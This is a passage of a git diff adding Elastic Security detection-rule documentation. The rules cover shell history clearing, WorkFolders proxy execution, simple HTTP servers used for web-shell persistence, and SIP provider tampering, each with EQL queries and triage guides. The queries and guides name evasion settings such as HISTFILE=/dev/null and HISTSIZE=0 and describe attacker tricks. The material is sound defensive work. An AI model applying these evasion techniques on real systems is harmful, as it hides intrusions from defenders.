https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-history-clearing-via-environment-variables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-history-clearing-via-environment-variables.asciidoc new file mode 100644 index 0000000000..e1f9d4f255 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-shell-history-clearing-via-environment-variables.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-shell-history-clearing-via-environment-variables]] +=== Shell History Clearing via Environment Variables + +This rule detects the clearing of the shell history via environment variables. Attackers may clear the shell history to hide their activities from being tracked. By leveraging environment variables such as HISTSIZE, HISTFILESIZE, HISTCONTROL, and HISTFILE, attackers can clear the shell history by setting them to 0, ignoring spaces, or redirecting the history to /dev/null, effectively erasing the command history. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rapid7.com/blog/post/tr-new-whitepaper-stealthy-bpfdoor-variants/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Shell History Clearing via Environment Variables* + + +This rule detects Linux processes that start with shell history controls set to disable or discard command logging, a common defense-evasion tactic that removes evidence of hands-on-keyboard activity. An attacker who gains a shell may launch bash with HISTFILE=/dev/null and HISTSIZE=0, then run discovery, credential access, or privilege-escalation commands knowing their interactive history will not be written to disk. + + +*Possible investigation steps* + + +- Reconstruct the full process ancestry and login context to determine whether the shell was launched from a legitimate admin session, a remote access channel such as SSH or a web shell, or an unexpected parent process. +- Review all commands and child processes executed by the same user and terminal session immediately before and after the history suppression event for signs of discovery, credential access, lateral movement, privilege escalation, or log tampering. +- Correlate with authentication, sudo, PAM, and SSH logs on the host to verify who initiated the session, from where, and whether the activity aligns with approved maintenance or change windows. +- Examine concurrent file, network, and process telemetry for follow-on actions such as downloading tools, touching sensitive files, modifying startup scripts, or making outbound connections that would indicate the shell was used for malicious objectives. +- If the activity is not clearly benign, capture volatile evidence and inspect shell startup files and account profiles for persistent history-disabling settings or aliases that could mask repeated interactive activity. + + +*False positive analysis* + + +- Administrators may intentionally launch a temporary shell with HISTFILE=/dev/null or HISTSIZE=0 during sensitive maintenance to avoid saving secrets entered at the prompt; verify the user, change timing, parent process, and nearby commands align with approved administrative work on the host. +- A user's shell startup files may legitimately set HISTCONTROL=ignorespace or redirect HISTFILE for noninteractive, ephemeral, or test sessions as part of local shell customization; confirm the same settings exist in the account or system shell profiles and appear consistently across the user's normal sessions without other suspicious behavior. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while preserving forensic access, stop the malicious shell and any spawned tools, and collect copies of the user’s shell startup files, current crontabs, and recently modified scripts before cleanup. +- Remove attacker footholds by deleting unauthorized changes in ~/.bashrc, ~/.profile, /etc/profile, /etc/bash.bashrc, ~/.ssh/authorized_keys, systemd service or timer units, cron jobs, and any backdoor binaries or web shells dropped during the session. +- Reset credentials and secrets exposed on or from the host, including the compromised local account, any sudo-capable accounts, SSH keys, and application tokens, and review sudoers files and group membership for malicious privilege changes. +- Restore the system to a known-good state by rebuilding from a trusted image or validated backup and verifying core packages, shell configuration files, scheduled tasks, and remote access settings match the approved baseline before reconnecting it. +- Escalate to incident response immediately if the history-suppression shell was followed by privilege escalation, credential access, outbound tool downloads, lateral movement over SSH, or the same behavior is identified on multiple hosts, and expand scoping to related accounts and systems. +- Harden against recurrence by enforcing centralized command and session logging, restricting interactive shell access to managed administration paths, monitoring for shell profiles that set HISTFILE=/dev/null or HISTSIZE=0, and tightening change control for user and system startup files. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HISTSIZE, HISTFILESIZE, HISTCONTROL, HISTFILE". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.env_vars like~ ( + "HISTSIZE=0", "HISTFILESIZE=0", "HISTCONTROL=ignorespace", "HISTFILE=/dev/null" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Command History +** ID: T1070.003 +** Reference URL: https://attack.mitre.org/techniques/T1070/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-signed-proxy-execution-via-ms-work-folders.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-signed-proxy-execution-via-ms-work-folders.asciidoc new file mode 100644 index 0000000000..a6d377fe7a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-signed-proxy-execution-via-ms-work-folders.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-signed-proxy-execution-via-ms-work-folders]] +=== Signed Proxy Execution via MS Work Folders + +Identifies the use of Windows Work Folders to execute a potentially masqueraded control.exe file in the current working directory. Misuse of Windows Work Folders could indicate malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/storage/work-folders/work-folders-overview +* https://twitter.com/ElliotKillick/status/1449812843772227588 +* https://lolbas-project.github.io/lolbas/Binaries/WorkFolders/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Signed Proxy Execution via MS Work Folders* + + +Work Folders is a role service for file servers running Windows Server that provides a consistent way for users to access their work files from their PCs and devices. This allows users to store work files and access them from anywhere. When called, Work Folders will automatically execute any Portable Executable (PE) named control.exe as an argument before accessing the synced share. + +Using Work Folders to execute a masqueraded control.exe could allow an adversary to bypass application controls and increase privileges. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Examine the location of the WorkFolders.exe binary to determine if it was copied to the location of the control.exe binary. It resides in the System32 directory by default. +- Trace the activity related to the control.exe binary to identify any continuing intrusion activity on the host. +- Review the control.exe binary executed with Work Folders to determine maliciousness such as additional host activity or network traffic. +- Determine if control.exe was synced to sync share, indicating potential lateral movement. +- Review how control.exe was originally delivered on the host, such as emailed, downloaded from the web, or written to +disk from a separate binary. + + +*False positive analysis* + + +- Windows Work Folders are used legitimately by end users and administrators for file sharing and syncing but not in the instance where a suspicious control.exe is passed as an argument. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Review the Work Folders synced share to determine if the control.exe was shared and if so remove it. +- If no lateral movement was identified during investigation, take the affected host offline if possible and remove the control.exe binary as well as any additional artifacts identified during investigation. +- Review integrating Windows Information Protection (WIP) to enforce data protection by encrypting the data on PCs using Work Folders. +- Confirm with the user whether this was expected or not, and reset their password. + + +==== Setup + + + +*Setup* + + +This rule requires telemetry from one of the configured source integrations to be enabled and ingested. + + +*Supported data sources* + + +This rule can use the following data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "control.exe" and process.parent.name : "WorkFolders.exe" and + not process.executable : ( + "?:\\Windows\\System32\\control.exe", + "?:\\Windows\\SysWOW64\\control.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\control.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\control.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by Search Order Hijacking +** ID: T1574.008 +** Reference URL: https://attack.mitre.org/techniques/T1574/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-simple-http-web-server-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-simple-http-web-server-connection.asciidoc new file mode 100644 index 0000000000..8c461477e0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-simple-http-web-server-connection.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-simple-http-web-server-connection]] +=== Simple HTTP Web Server Connection + +This rule detects connections accepted by a simple HTTP web server in Python and PHP built-in modules. Adversaries may create simple HTTP web servers to establish persistence on a compromised system by uploading a reverse or command shell payload to the server web root, allowing them to regain remote access to the system if lost. This event may occur when an attacker requests the server to execute a command or script via a potential backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.network* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Simple HTTP Web Server Connection* + + +Simple HTTP servers in Python and PHP are often used for development and testing, providing a quick way to serve web content. However, attackers can exploit these servers to maintain access on compromised Linux systems by deploying backdoors or executing commands remotely. The detection rule identifies suspicious server activity by monitoring for specific process patterns and command-line arguments indicative of these lightweight servers, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process details, including the process name and command line arguments, to confirm if the server was started using Python or PHP, as indicated by the query fields. +- Check the network connection details associated with the event, such as the source and destination IP addresses and ports, to identify any suspicious or unexpected connections. +- Investigate the user account under which the process was initiated to determine if it aligns with expected behavior or if it indicates potential unauthorized access. +- Examine the system logs and any related events around the time of the alert to identify any additional suspicious activities or anomalies. +- Assess the server's web root directory for any unauthorized files or scripts that could indicate a backdoor or malicious payload. +- Correlate this event with other alerts or indicators of compromise on the system to evaluate if this is part of a larger attack campaign. + + +*False positive analysis* + + +- Development and testing environments may frequently trigger this rule when developers use Python or PHP's built-in HTTP servers for legitimate purposes. To manage this, consider excluding specific user accounts or IP addresses associated with development activities from the rule. +- Automated scripts or cron jobs that start simple HTTP servers for routine tasks can also generate false positives. Identify these scripts and add their process names or command-line patterns to an exception list. +- Educational or training environments where students are learning web development might cause alerts. In such cases, exclude the network segments or user groups associated with these activities. +- Internal tools or services that rely on lightweight HTTP servers for functionality might be flagged. Review these tools and whitelist their specific process names or command-line arguments to prevent unnecessary alerts. +- Temporary testing servers spun up for short-term projects can be mistaken for malicious activity. Document these instances and apply temporary exceptions during the project duration. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious Python or PHP processes identified by the detection rule to stop the potential backdoor or unauthorized server activity. +- Conduct a thorough review of the system's file system, focusing on the web root directory, to identify and remove any unauthorized scripts or payloads that may have been uploaded. +- Change all credentials associated with the compromised system, including SSH keys and passwords, to prevent attackers from regaining access. +- Restore the system from a known good backup if any unauthorized changes or persistent threats are detected that cannot be easily remediated. +- Implement network monitoring to detect any future unauthorized HTTP server activity, focusing on unusual process patterns and command-line arguments. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m +[process where host.os.type == "linux" and event.type == "start" and + ( + (process.name regex~ """php?[0-9]?\.?[0-9]{0,2}""" and process.command_line like "*-S*") or + (process.name like "python*" and process.command_line like ("*--cgi*", "*CGIHTTPServer*")) + ) and not process.parent.command_line == "runc init" +] +[network where host.os.type == "linux" and event.type == "start" and event.action == "connection_accepted"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-simple-http-web-server-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-simple-http-web-server-creation.asciidoc new file mode 100644 index 0000000000..06979576d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-simple-http-web-server-creation.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-simple-http-web-server-creation]] +=== Simple HTTP Web Server Creation + +This rule detects the creation of a simple HTTP web server using PHP or Python built-in modules. Adversaries may create simple HTTP web servers to establish persistence on a compromised system by uploading a reverse or command shell payload to the server web root, allowing them to regain remote access to the system if lost. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Simple HTTP Web Server Creation* + + +Simple HTTP web servers, often created using PHP or Python, are lightweight and easy to deploy, making them ideal for quick file sharing or testing. However, adversaries exploit this simplicity to establish persistence on compromised Linux systems. By deploying a web server, they can upload malicious payloads, such as reverse shells, to maintain remote access. The detection rule identifies suspicious server creation by monitoring process executions that match specific patterns, such as PHP or Python commands indicative of server setup, thereby alerting analysts to potential threats. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of PHP or Python commands with arguments matching the patterns specified in the query, such as PHP with the "-S" argument or Python with "--cgi" or "CGIHTTPServer". +- Identify the user account under which the suspicious process was executed to determine if it aligns with expected behavior or if it indicates potential compromise. +- Examine the network activity associated with the process to identify any unusual connections or data transfers that could suggest malicious intent or data exfiltration. +- Check the file system for any newly created or modified files in the web server's root directory that could contain malicious payloads, such as reverse shells. +- Investigate the parent process of the suspicious server creation to understand how the process was initiated and whether it was triggered by another potentially malicious activity. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Development and testing environments often use simple HTTP servers for legitimate purposes such as serving static files or testing web applications. To manage this, create exceptions for known development directories or user accounts frequently involved in these activities. +- Automated scripts or cron jobs may start simple HTTP servers for routine tasks like file distribution or internal data sharing. Identify these scripts and exclude their execution paths or associated user accounts from triggering alerts. +- Educational or training sessions might involve setting up simple HTTP servers as part of learning exercises. Exclude specific IP ranges or user groups associated with training environments to prevent false positives. +- System administrators might use simple HTTP servers for quick troubleshooting or system maintenance tasks. Document these activities and create exceptions based on the administrator's user accounts or specific server names. +- Continuous integration and deployment pipelines may temporarily start HTTP servers during build or deployment processes. Identify these pipelines and exclude their associated processes or execution contexts from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious PHP or Python processes identified by the detection rule to halt the operation of the unauthorized web server. +- Conduct a thorough examination of the web server's root directory to identify and remove any malicious payloads, such as reverse shells or unauthorized scripts. +- Review system logs and network traffic to identify any additional indicators of compromise or lateral movement attempts by the adversary. +- Restore the system from a known good backup if any critical system files or configurations have been altered by the adversary. +- Implement stricter access controls and monitoring on the affected system to prevent similar unauthorized server setups in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + (process.name regex~ """php?[0-9]?\.?[0-9]{0,2}""" and process.args == "-S") or + (process.name like "python*" and process.args in ("--cgi", "CGIHTTPServer")) +) and +not process.parent.name in ("check_kmp_wrapper", "naemon", "runc") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sip-provider-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sip-provider-modification.asciidoc new file mode 100644 index 0000000000..005a599077 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-sip-provider-modification.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-sip-provider-modification]] +=== SIP Provider Modification + +Identifies modifications to the registered Subject Interface Package (SIP) providers. SIP providers are used by the Windows cryptographic system to validate file signatures on the system. This may be an attempt to bypass signature validation checks or inject code into critical processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/mattifestation/PoCSubjectInterfacePackage + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SIP Provider Modification* + + +Subject Interface Package (SIP) providers are integral to Windows' cryptographic system, ensuring file signature validation. Adversaries may modify SIP providers to bypass these checks, facilitating unauthorized code execution. The detection rule identifies suspicious registry changes linked to SIP providers, excluding benign processes, to flag potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the registry path and value changes to confirm if they match the suspicious patterns specified in the query, such as modifications under the paths related to CryptSIPDllPutSignedDataMsg or Trust FinalPolicy. +- Identify the process responsible for the registry change by examining the process name and compare it against the exclusions in the query, ensuring it is not a benign process like msiexec.exe or regsvr32.exe. +- Investigate the DLL file specified in the registry change to determine its 